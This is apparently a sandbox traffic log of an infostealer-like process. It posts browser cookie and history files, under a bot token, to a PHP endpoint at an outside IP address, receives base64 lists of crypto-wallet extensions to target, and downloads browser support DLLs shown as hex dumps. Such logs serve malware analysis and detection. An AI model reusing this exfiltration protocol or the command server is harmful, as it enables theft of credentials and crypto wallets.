Nov 21, 2024 22:33:01.926136971 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 21, 2024 22:33:01.928047895 CET	470	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAEC Host: 109.107.157.132 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 2d 2d 0d 0a Data Ascii: ------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="message"fplugins------BKECBAKFBGDGCBGDBAEC--
Nov 21, 2024 22:33:02.320553064 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 21, 2024 22:33:02.344675064 CET	203	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJE Host: 109.107.157.132 Content-Length: 7035 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:33:02.344716072 CET	7035	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 21, 2024 22:33:02.961622953 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:03.771936893 CET	94	OUT	GET /955ccceeebf8214b/sqlite3.dll HTTP/1.1 Host: 109.107.157.132 Cache-Control: no-cache
Nov 21, 2024 22:33:04.162889004 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 21, 2024 22:33:04.162981987 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 21, 2024 22:33:04.166726112 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 21, 2024 22:33:04.166794062 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49751	109.107.157.132	80	7472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:33:13.384896994 CET	621	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF Host: 109.107.157.132 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIJJKECFCFBGDHIECAAF--
Nov 21, 2024 22:33:14.884850979 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:15.045609951 CET	203	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDG Host: 109.107.157.132 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:33:15.045654058 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 21, 2024 22:33:15.822470903 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:15.843718052 CET	565	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAKKJKKEBKFIDBFBA Host: 109.107.157.132 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="file"------AAEBAKKJKKEBKFIDBFBA--
Nov 21, 2024 22:33:16.418661118 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:16.749034882 CET	565	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBA Host: 109.107.157.132 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file"------HDBKJEGIEBFHCAAKKEBA--
Nov 21, 2024 22:33:17.263863087 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:17.668540955 CET	94	OUT	GET /955ccceeebf8214b/freebl3.dll HTTP/1.1 Host: 109.107.157.132 Cache-Control: no-cache
Nov 21, 2024 22:33:18.068084002 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 21, 2024 22:33:18.068124056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 21, 2024 22:33:18.068134069 CET	448	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 21, 2024 22:33:18.068212032 CET	1236	IN	Data Raw: 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b 44 24 14 2c 01 73 42 8b 44 24 18 2c 01 73 40 8b 44 24 20 2c 01 89 44 24 Data Ascii: t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@mbD$HD$
Nov 21, 2024 22:33:18.068223000 CET	1236	IN	Data Raw: ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 Data Ascii: t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGH
Nov 21, 2024 22:33:18.068233013 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 21, 2024 22:33:18.068243980 CET	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
Nov 21, 2024 22:33:18.076447010 CET	328	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Nov 21, 2024 22:33:18.077608109 CET	1236	IN	Data Raw: c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 08 09 c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 Data Ascii: MEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf
Nov 21, 2024 22:33:18.077811956 CET	1236	IN	Data Raw: 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 Data Ascii: Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRAA q$]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49759	109.107.157.132	80	7472	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 22:33:32.812112093 CET	94	OUT	GET /955ccceeebf8214b/mozglue.dll HTTP/1.1 Host: 109.107.157.132 Cache-Control: no-cache
Nov 21, 2024 22:33:34.425578117 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 21, 2024 22:33:34.425595045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 5d e9 07 ba 01 00 cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 40 89 ce a1 0c e0 08 10 31 e8 89 44 24 38 8b Data Ascii: U]USWV@1D$8=\|$D$I1J1;OBuN1;Ore$@DN1;OBu!N1;Os@utu9G$
Nov 21, 2024 22:33:34.425607920 CET	1236	IN	Data Raw: e3 fe 83 e7 01 09 df 89 7a 0c 89 56 08 8b 39 83 e7 01 09 f7 89 39 80 4a 0c 01 83 c4 04 5e 5f 5b 5d c3 83 c9 01 89 4e 0c 8b 4e 08 85 c9 75 23 8b 72 0c 89 f1 83 e1 fe 0f 84 b0 00 00 00 8b 79 08 83 e7 fe 83 e6 01 09 fe 89 72 0c 89 51 08 89 08 eb c8 Data Ascii: zV99J^_[]NNu#ryrQYtYJqryyzt]^zVQQiZ]Y]Yg~tY~qJ
